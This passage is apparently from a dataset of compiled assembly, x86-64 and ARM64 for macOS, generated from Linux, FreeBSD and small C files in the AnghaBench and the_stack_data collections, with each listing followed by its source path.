LBB0_2 LBB0_3: ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh4, Lloh5 .loh AdrpAdd Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _ENA_IRQNAME_SIZE,4,2 ; @ENA_IRQNAME_SIZE .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%s-Tx-Rx-%d" .comm _ena_intr_msix_io,4,2 ; @ena_intr_msix_io .no_dead_strip _ena_setup_io_intr .subsections_via_symbols
AnghaBench/linux/drivers/net/ethernet/amazon/ena/extr_ena_netdev.c_ena_setup_io_intr.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 callq _initscr movq _stdscr@GOTPCREL(%rip), %rbx movq (%rbx), %rdi leaq L_.str(%rip), %rsi movl $-1, %edx callq _waddnstr movq (%rbx), %rdi leaq L_.str.1(%rip), %rsi movl $-1, %edx callq _waddnstr movq (%rbx), %rdi callq _wrefresh .p2align 4, 0x90 LBB0_1: ## =>This Inner Loop Header: Depth=1 movq (%rbx), %rdi callq _wgetch cmpb $126, %al jne LBB0_1 ## %bb.2: callq _endwin xorl %eax, %eax addq $8, %rsp popq %rbx popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Type a few lines of text\n" L_.str.1: ## @.str.1 .asciz "Press ~ to quit\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 bl _initscr Lloh0: adrp x19, _stdscr@GOTPAGE Lloh1: ldr x19, [x19, _stdscr@GOTPAGEOFF] ldr x0, [x19] Lloh2: adrp x1, l_.str@PAGE Lloh3: add x1, x1, l_.str@PAGEOFF mov w2, #-1 bl _waddnstr ldr x0, [x19] Lloh4: adrp x1, l_.str.1@PAGE Lloh5: add x1, x1, l_.str.1@PAGEOFF mov w2, #-1 bl _waddnstr ldr x0, [x19] bl _wrefresh LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr x0, [x19] bl _wgetch and w8, w0, #0xff cmp w8, #126 b.ne LBB0_1 ; %bb.2: bl _endwin mov w0, #0 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .loh AdrpAdd Lloh4, Lloh5 .loh AdrpAdd Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Type a few lines of text\n" l_.str.1: ; @.str.1 .asciz "Press ~ to quit\n" .subsections_via_symbols
the_stack_data/145452921.c
stack
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function amixer_rsc_get_ctrl_blk _amixer_rsc_get_ctrl_blk: ## @amixer_rsc_get_ctrl_blk .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 movq %rdi, %rbx movq $0, (%rdi) movq _GFP_KERNEL@GOTPCREL(%rip), %rax movl (%rax), %esi movl $4, %edi callq _kzalloc testq %rax, %rax je LBB0_1 ## %bb.2: movq %rax, (%rbx) xorl %eax, %eax jmp LBB0_3 LBB0_1: movq _ENOMEM@GOTPCREL(%rip), %rcx xorl %eax, %eax subl (%rcx), %eax LBB0_3: addq $8, %rsp popq %rbx popq %rbp retq .cfi_endproc ## -- End function .comm _GFP_KERNEL,4,2 ## @GFP_KERNEL .comm _ENOMEM,4,2 ## @ENOMEM .no_dead_strip _amixer_rsc_get_ctrl_blk .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function amixer_rsc_get_ctrl_blk _amixer_rsc_get_ctrl_blk: ; @amixer_rsc_get_ctrl_blk .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 str xzr, [x0] Lloh0: adrp x8, _GFP_KERNEL@GOTPAGE Lloh1: ldr x8, [x8, _GFP_KERNEL@GOTPAGEOFF] Lloh2: ldr w1, [x8] mov w0, #4 bl _kzalloc cbz x0, LBB0_2 ; %bb.1: mov x8, x0 mov w0, #0 str x8, [x19] b LBB0_3 LBB0_2: Lloh3: adrp x8, _ENOMEM@GOTPAGE Lloh4: ldr x8, [x8, _ENOMEM@GOTPAGEOFF] Lloh5: ldr w8, [x8] neg w0, w8 LBB0_3: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .cfi_endproc ; -- End function .comm _GFP_KERNEL,4,2 ; @GFP_KERNEL .comm _ENOMEM,4,2 ; @ENOMEM .no_dead_strip _amixer_rsc_get_ctrl_blk .subsections_via_symbols
AnghaBench/fastsocket/kernel/sound/pci/ctxfi/extr_cthw20k2.c_amixer_rsc_get_ctrl_blk.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: ret .cfi_endproc ; -- End function .subsections_via_symbols
the_stack_data/140061.c
stack
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _tps6586x_clr_bits ## -- Begin function tps6586x_clr_bits .p2align 4, 0x90 _tps6586x_clr_bits: ## @tps6586x_clr_bits .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movl %edx, %r14d movl %esi, %ebx callq _dev_to_tps6586x movl (%rax), %edi movl %ebx, %esi movl %r14d, %edx xorl %ecx, %ecx popq %rbx popq %r14 popq %rbp jmp _regmap_update_bits ## TAILCALL .cfi_endproc ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _tps6586x_clr_bits ; -- Begin function tps6586x_clr_bits .p2align 2 _tps6586x_clr_bits: ; @tps6586x_clr_bits .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x2 mov x20, x1 bl _dev_to_tps6586x ldr w0, [x0] mov x1, x20 mov x2, x19 mov w3, #0 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload b _regmap_update_bits .cfi_endproc ; -- End function .subsections_via_symbols
AnghaBench/linux/drivers/mfd/extr_tps6586x.c_tps6586x_clr_bits.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function dmar_alloc_irq _dmar_alloc_irq: ## @dmar_alloc_irq .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $72, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rsi, %r13 movl %edi, %r15d movq (%rsi), %rbx movslq %edx, %r12 callq _device_get_parent movl %eax, %edi callq _device_get_parent movl %eax, %r14d leaq (%r12,%r12,4), %rax movl %r15d, %esi movq %rbx, -56(%rbp) ## 8-byte Spill movq %rax, -48(%rbp) ## 8-byte Spill leaq (%rbx,%rax,8), %rbx movl %r14d, %edi movq %rbx, %rdx callq _PCIB_ALLOC_MSIX testl %eax, %eax je LBB0_2 ## %bb.1: movl %eax, %r12d movq -56(%rbp), %rax ## 8-byte Reload movq -48(%rbp), %rcx ## 8-byte Reload movl 32(%rax,%rcx,8), %edx leaq L_.str(%rip), %rsi movl %r15d, %edi movl %r12d, %ecx xorl %eax, %eax callq _device_printf jmp LBB0_13 LBB0_2: movq %r13, -96(%rbp) ## 8-byte Spill movl %r14d, -60(%rbp) ## 4-byte Spill movq _SYS_RES_IRQ@GOTPCREL(%rip), %rax movq %rax, %r13 movl (%rax), %esi movq -56(%rbp), %rax ## 8-byte Reload movq -48(%rbp), %rcx ## 8-byte Reload movl 4(%rax,%rcx,8), %edx movl (%rbx), %ecx movl %r15d, %r14d movl %r15d, %edi movl $1, %r8d callq _bus_set_resource testl %eax, %eax movq %rbx, -104(%rbp) ## 8-byte Spill je LBB0_4 ## %bb.3: movl %eax, %r12d movq -56(%rbp), %rax ## 8-byte Reload movq -48(%rbp), %rcx ## 8-byte Reload movl 32(%rax,%rcx,8), %edx leaq L_.str.1(%rip), %rsi movl %r14d, %edi movl %r12d, %ecx xorl %eax, %eax callq _device_printf movl -60(%rbp), %r15d ## 4-byte Reload jmp LBB0_12 LBB0_4: movq -56(%rbp), %r15 ## 8-byte Reload movq -48(%rbp), %r12 ## 8-byte Reload leaq (%r15,%r12,8), %rdx addq $4, %rdx movl (%r13), %esi movq _RF_ACTIVE@GOTPCREL(%rip), %rax movl (%rax), %ecx movl %r14d, %edi movq %rdx, -88(%rbp) ## 8-byte Spill callq _bus_alloc_resource_any movq %rax, 8(%r15,%r12,8) testq %rax, %rax je LBB0_5 ## %bb.6: movq -56(%rbp), %rsi ## 8-byte Reload movq -48(%rbp), %rdi ## 8-byte Reload leaq (%rsi,%rdi,8), %r15 addq $8, %r15 movq _INTR_TYPE_MISC@GOTPCREL(%rip), %rcx movl (%rcx), %edx movl 36(%rsi,%rdi,8), %ecx leaq 16(%rsi,%rdi,8), %rsi movq %rsi, -80(%rbp) ## 8-byte Spill movq %rsi, (%rsp) movl %r14d, %edi movq %rax, %rsi xorl %r8d, %r8d movq -96(%rbp), %r9 ## 8-byte Reload callq _bus_setup_intr testl %eax, %eax je LBB0_8 ## %bb.7: movl %eax, %r12d movq -56(%rbp), %rax ## 8-byte Reload movq -48(%rbp), %rcx ## 8-byte Reload movl 32(%rax,%rcx,8), %edx leaq L_.str.3(%rip), %rsi movl %r14d, %edi movl %r12d, %ecx xorl %eax, %eax callq _device_printf jmp LBB0_10 LBB0_5: movq -56(%rbp), %rax ## 8-byte Reload movq -48(%rbp), %rcx ## 8-byte Reload movl 32(%rax,%rcx,8), %edx leaq L_.str.2(%rip), %rsi movl %r14d, %edi xorl %eax, %eax callq _device_printf movq _ENXIO@GOTPCREL(%rip), %rax movl (%rax), %r12d movl -60(%rbp), %r15d ## 4-byte Reload movq -88(%rbp), %rbx ## 8-byte Reload jmp LBB0_11 LBB0_8: movq (%r15), %rsi movq -80(%rbp), %rax ## 8-byte Reload movl (%rax), %edx movq -56(%rbp), %rax ## 8-byte Reload movq -48(%rbp), %rcx ## 8-byte Reload movl 32(%rax,%rcx,8), %r8d leaq L_.str.4(%rip), %rcx movl %r14d, %edi callq _bus_describe_intr movl (%rbx), %edx leaq -68(%rbp), %rcx leaq -64(%rbp), %r8 movl -60(%rbp), %edi ## 4-byte Reload movl %r14d, %esi callq _PCIB_MAP_MSI testl %eax, %eax je LBB0_14 ## %bb.9: movl %eax, %r12d movq -56(%rbp), %rax ## 8-byte Reload movq -48(%rbp), %rcx ## 8-byte Reload leaq (%rax,%rcx,8), %rax addq $32, %rax movl (%rax), %edx leaq L_.str.5(%rip), %rsi movl %r14d, %edi movl %r12d, %ecx xorl %eax, %eax callq _device_printf movq (%r15), %rsi movq -80(%rbp), %rax ## 8-byte Reload movl (%rax), %edx movl %r14d, %edi callq _bus_teardown_intr LBB0_10: movq _SYS_RES_IRQ@GOTPCREL(%rip), %r13 movl (%r13), %esi movq -88(%rbp), %rbx ## 8-byte Reload movl (%rbx), %edx movq (%r15), %rcx movl %r14d, %edi callq _bus_release_resource movl -60(%rbp), %r15d ## 4-byte Reload LBB0_11: movl (%r13), %esi movl (%rbx), %edx movl %r14d, %edi callq _bus_delete_resource LBB0_12: movq -104(%rbp), %rbx ## 8-byte Reload movl (%rbx), %edx movl %r15d, %edi movl %r14d, %esi callq _PCIB_RELEASE_MSIX movl $-1, (%rbx) LBB0_13: movl %r12d, %eax addq $72, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_14: movq -56(%rbp), %r14 ## 8-byte Reload movq -48(%rbp), %r15 ## 8-byte Reload movl 28(%r14,%r15,8), %esi movl -64(%rbp), %edx movq -96(%rbp), %rbx ## 8-byte Reload movq %rbx, %rdi callq _dmar_write4 movl 24(%r14,%r15,8), %esi movl -68(%rbp), %edx movq %rbx, %rdi callq _dmar_write4 movl 20(%r14,%r15,8), %esi movq %rbx, %rdi callq _dmar_write4 xorl %r12d, %r12d jmp LBB0_13 .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "cannot allocate %s interrupt, %d\n" .comm _SYS_RES_IRQ,4,2 ## @SYS_RES_IRQ L_.str.1: ## @.str.1 .asciz "cannot set %s interrupt resource, %d\n" .comm _RF_ACTIVE,4,2 ## @RF_ACTIVE L_.str.2: ## @.str.2 .asciz "cannot allocate resource for %s interrupt\n" .comm _ENXIO,4,2 ## @ENXIO .comm _INTR_TYPE_MISC,4,2 ## @INTR_TYPE_MISC L_.str.3: ## @.str.3 .asciz "cannot setup %s interrupt, %d\n" L_.str.4: ## @.str.4 .asciz "%s" L_.str.5: ## @.str.5 .asciz "cannot map %s interrupt, %d\n" .no_dead_strip _dmar_alloc_irq .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function dmar_alloc_irq _dmar_alloc_irq: ; @dmar_alloc_irq .cfi_startproc ; %bb.0: sub sp, sp, #112 .cfi_def_cfa_offset 112 stp x28, x27, [sp, #16] ; 16-byte Folded Spill stp x26, x25, [sp, #32] ; 16-byte Folded Spill stp x24, x23, [sp, #48] ; 16-byte Folded Spill stp x22, x21, [sp, #64] ; 16-byte Folded Spill stp x20, x19, [sp, #80] ; 16-byte Folded Spill stp x29, x30, [sp, #96] ; 16-byte Folded Spill add x29, sp, #96 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x20, x2 mov x23, x1 mov x19, x0 ldr x27, [x1] sxtw x28, w20 bl _device_get_parent bl _device_get_parent mov x21, x0 mov w8, #40 smaddl x20, w20, w8, x27 mov x1, x19 mov x2, x20 bl _PCIB_ALLOC_MSIX cbz w0, LBB0_2 ; %bb.1: mov x24, x0 mov w8, #40 madd x8, x28, x8, x27 ldr w2, [x8, #32] str x24, [sp] Lloh0: adrp x1, l_.str@PAGE Lloh1: add x1, x1, l_.str@PAGEOFF mov x0, x19 bl _device_printf b LBB0_13 LBB0_2: Lloh2: adrp x25, _SYS_RES_IRQ@GOTPAGE Lloh3: ldr x25, [x25, _SYS_RES_IRQ@GOTPAGEOFF] ldr w1, [x25] mov w8, #40 madd x22, x28, x8, x27 ldr w2, [x22, #4]! ldr w3, [x20] mov x0, x19 mov w4, #1 bl _bus_set_resource cbz w0, LBB0_4 ; %bb.3: mov x24, x0 mov w8, #40 madd x8, x28, x8, x27 ldr w2, [x8, #32] str x24, [sp] Lloh4: adrp x1, l_.str.1@PAGE Lloh5: add x1, x1, l_.str.1@PAGEOFF mov x0, x19 bl _device_printf ; kill: def $w24 killed $w24 killed $x24 def $x24 b LBB0_12 LBB0_4: ldr w1, [x25] Lloh6: adrp x8, _RF_ACTIVE@GOTPAGE Lloh7: ldr x8, [x8, _RF_ACTIVE@GOTPAGEOFF] Lloh8: ldr w3, [x8] mov x0, x19 mov x2, x22 bl _bus_alloc_resource_any mov w8, #40 madd x26, x28, x8, x27 str x0, [x26, #8]! cbz x0, LBB0_7 ; %bb.5: mov x1, x0 Lloh9: adrp x8, _INTR_TYPE_MISC@GOTPAGE Lloh10: ldr x8, [x8, _INTR_TYPE_MISC@GOTPAGEOFF] Lloh11: ldr w2, [x8] mov w8, #40 madd x8, x28, x8, x27 ldr w3, [x8, #36] add x24, x8, #16 mov x0, x19 mov x4, #0 mov x5, x23 mov x6, x24 bl _bus_setup_intr cbz w0, LBB0_8 ; %bb.6: mov x25, x0 mov w8, #40 madd x8, x28, x8, x27 ldr w2, [x8, #32] str x25, [sp] Lloh12: adrp x1, l_.str.3@PAGE Lloh13: add x1, x1, l_.str.3@PAGEOFF mov x0, x19 bl _device_printf mov x24, x25 b LBB0_10 LBB0_7: mov w8, #40 madd x8, x28, x8, x27 ldr w2, [x8, #32] Lloh14: adrp x1, l_.str.2@PAGE Lloh15: add x1, x1, l_.str.2@PAGEOFF mov x0, x19 bl _device_printf Lloh16: adrp x8, _ENXIO@GOTPAGE Lloh17: ldr x8, [x8, _ENXIO@GOTPAGEOFF] Lloh18: ldr w24, [x8] b LBB0_11 LBB0_8: ldr x1, [x26] ldr w2, [x24] mov w8, #40 madd x25, x28, x8, x27 ldr w4, [x25, #32]! Lloh19: adrp x3, l_.str.4@PAGE Lloh20: add x3, x3, l_.str.4@PAGEOFF mov x0, x19 bl _bus_describe_intr ldr w2, [x20] add x3, sp, #12 add x4, sp, #8 mov x0, x21 mov x1, x19 bl _PCIB_MAP_MSI ; kill: def $w0 killed $w0 def $x0 cbz w0, LBB0_14 ; %bb.9: ldr w2, [x25] str x0, [sp] Lloh21: adrp x1, l_.str.5@PAGE Lloh22: add x1, x1, l_.str.5@PAGEOFF mov x23, x0 mov x0, x19 bl _device_printf ldr x1, [x26] ldr w2, [x24] mov x0, x19 bl _bus_teardown_intr mov x24, x23 LBB0_10: Lloh23: adrp x25, _SYS_RES_IRQ@GOTPAGE Lloh24: ldr x25, [x25, _SYS_RES_IRQ@GOTPAGEOFF] ldr w1, [x25] ldr w2, [x22] ldr x3, [x26] mov x0, x19 bl _bus_release_resource LBB0_11: ldr w1, [x25] ldr w2, [x22] mov x0, x19 bl _bus_delete_resource LBB0_12: ldr w2, [x20] mov x0, x21 mov x1, x19 bl _PCIB_RELEASE_MSIX mov w8, #-1 str w8, [x20] LBB0_13: mov x0, x24 ldp x29, x30, [sp, #96] ; 16-byte Folded Reload ldp x20, x19, [sp, #80] ; 16-byte Folded Reload ldp x22, x21, [sp, #64] ; 16-byte Folded Reload ldp x24, x23, [sp, #48] ; 16-byte Folded Reload ldp x26, x25, [sp, #32] ; 16-byte Folded Reload ldp x28, x27, [sp, #16] ; 16-byte Folded Reload add sp, sp, #112 ret LBB0_14: mov w8, #40 madd x19, x28, x8, x27 ldr w1, [x19, #28] ldr w2, [sp, #8] mov x0, x23 bl _dmar_write4 ldr w1, [x19, #24] ldr w2, [sp, #12] mov x0, x23 bl _dmar_write4 ldr w1, [x19, #20] mov x0, x23 bl _dmar_write4 mov w24, #0 b LBB0_13 .loh AdrpAdd Lloh0, Lloh1 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpAdd Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8 .loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11 .loh AdrpAdd Lloh12, Lloh13 .loh AdrpLdrGotLdr Lloh16, Lloh17, Lloh18 .loh AdrpAdd Lloh14, Lloh15 .loh AdrpAdd Lloh19, Lloh20 .loh AdrpAdd Lloh21, Lloh22 .loh AdrpLdrGot Lloh23, Lloh24 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "cannot allocate %s interrupt, %d\n" .comm _SYS_RES_IRQ,4,2 ; @SYS_RES_IRQ l_.str.1: ; @.str.1 .asciz "cannot set %s interrupt resource, %d\n" .comm _RF_ACTIVE,4,2 ; @RF_ACTIVE l_.str.2: ; @.str.2 .asciz "cannot allocate resource for %s interrupt\n" .comm _ENXIO,4,2 ; @ENXIO .comm _INTR_TYPE_MISC,4,2 ; @INTR_TYPE_MISC l_.str.3: ; @.str.3 .asciz "cannot setup %s interrupt, %d\n" l_.str.4: ; @.str.4 .asciz "%s" l_.str.5: ; @.str.5 .asciz "cannot map %s interrupt, %d\n" .no_dead_strip _dmar_alloc_irq .subsections_via_symbols
AnghaBench/freebsd/sys/x86/iommu/extr_intel_drv.c_dmar_alloc_irq.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp callq _abort .cfi_endproc ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 bl _abort .cfi_endproc ; -- End function .subsections_via_symbols
the_stack_data/11073978.c
stack
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function visornic_close _visornic_close: ## @visornic_close .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq _VISORNIC_INFINITE_RSP_WAIT@GOTPCREL(%rip), %rax movl (%rax), %esi callq _visornic_disable_with_timeout xorl %eax, %eax popq %rbp retq .cfi_endproc ## -- End function .comm _VISORNIC_INFINITE_RSP_WAIT,4,2 ## @VISORNIC_INFINITE_RSP_WAIT .no_dead_strip _visornic_close .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function visornic_close _visornic_close: ; @visornic_close .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 Lloh0: adrp x8, _VISORNIC_INFINITE_RSP_WAIT@GOTPAGE Lloh1: ldr x8, [x8, _VISORNIC_INFINITE_RSP_WAIT@GOTPAGEOFF] Lloh2: ldr w1, [x8] bl _visornic_disable_with_timeout mov w0, #0 ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _VISORNIC_INFINITE_RSP_WAIT,4,2 ; @VISORNIC_INFINITE_RSP_WAIT .no_dead_strip _visornic_close .subsections_via_symbols
AnghaBench/linux/drivers/staging/unisys/visornic/extr_visornic_main.c_visornic_close.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _DRV_USART0_ReceiverBufferIsEmpty ## -- Begin function DRV_USART0_ReceiverBufferIsEmpty .p2align 4, 0x90 _DRV_USART0_ReceiverBufferIsEmpty: ## @DRV_USART0_ReceiverBufferIsEmpty .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq _USART_ID_2@GOTPCREL(%rip), %rax movl (%rax), %edi callq _PLIB_USART_ReceiverDataIsAvailable xorl %ecx, %ecx testl %eax, %eax sete %cl movl %ecx, %eax popq %rbp retq .cfi_endproc ## -- End function .comm _USART_ID_2,4,2 ## @USART_ID_2 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _DRV_USART0_ReceiverBufferIsEmpty ; -- Begin function DRV_USART0_ReceiverBufferIsEmpty .p2align 2 _DRV_USART0_ReceiverBufferIsEmpty: ; @DRV_USART0_ReceiverBufferIsEmpty .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 Lloh0: adrp x8, _USART_ID_2@GOTPAGE Lloh1: ldr x8, [x8, _USART_ID_2@GOTPAGEOFF] Lloh2: ldr w0, [x8] bl _PLIB_USART_ReceiverDataIsAvailable cmp w0, #0 cset w0, eq ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _USART_ID_2,4,2 ; @USART_ID_2 .subsections_via_symbols
AnghaBench/mongoose/examples/PIC32/mqtt_client/firmware/src/system_config/mx795_CC3100_e16/framework/driver/usart/src/extr_drv_usart_static_byte_model.c_DRV_USART0_ReceiverBufferIsEmpty.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function lookup_pwent _lookup_pwent: ## @lookup_pwent .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 movq %rdi, %rbx callq _GETPWNAM testq %rax, %rax jne LBB0_4 ## %bb.1: movzbl (%rbx), %edi callq _isdigit testl %eax, %eax je LBB0_3 ## %bb.2: movq %rbx, %rdi callq _atoi movl %eax, %edi callq _getpwuid testq %rax, %rax jne LBB0_4 LBB0_3: movq _EX_NOUSER@GOTPCREL(%rip), %rax movl (%rax), %edi leaq L_.str(%rip), %rsi movq %rbx, %rdx callq _errx xorl %eax, %eax LBB0_4: addq $8, %rsp popq %rbx popq %rbp retq .cfi_endproc ## -- End function .comm _EX_NOUSER,4,2 ## @EX_NOUSER .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "user `%s' does not exist" .no_dead_strip _lookup_pwent .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function lookup_pwent _lookup_pwent: ; @lookup_pwent .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 bl _GETPWNAM cbnz x0, LBB0_4 ; %bb.1: ldrb w0, [x19] bl _isdigit cbz w0, LBB0_3 ; %bb.2: mov x0, x19 bl _atoi ; kill: def $w0 killed $w0 killed $x0 bl _getpwuid cbnz x0, LBB0_4 LBB0_3: Lloh0: adrp x8, _EX_NOUSER@GOTPAGE Lloh1: ldr x8, [x8, _EX_NOUSER@GOTPAGEOFF] Lloh2: ldr w0, [x8] Lloh3: adrp x1, l_.str@PAGE Lloh4: add x1, x1, l_.str@PAGEOFF mov x2, x19 bl _errx mov x0, #0 LBB0_4: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .loh AdrpAdd Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _EX_NOUSER,4,2 ; @EX_NOUSER .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "user 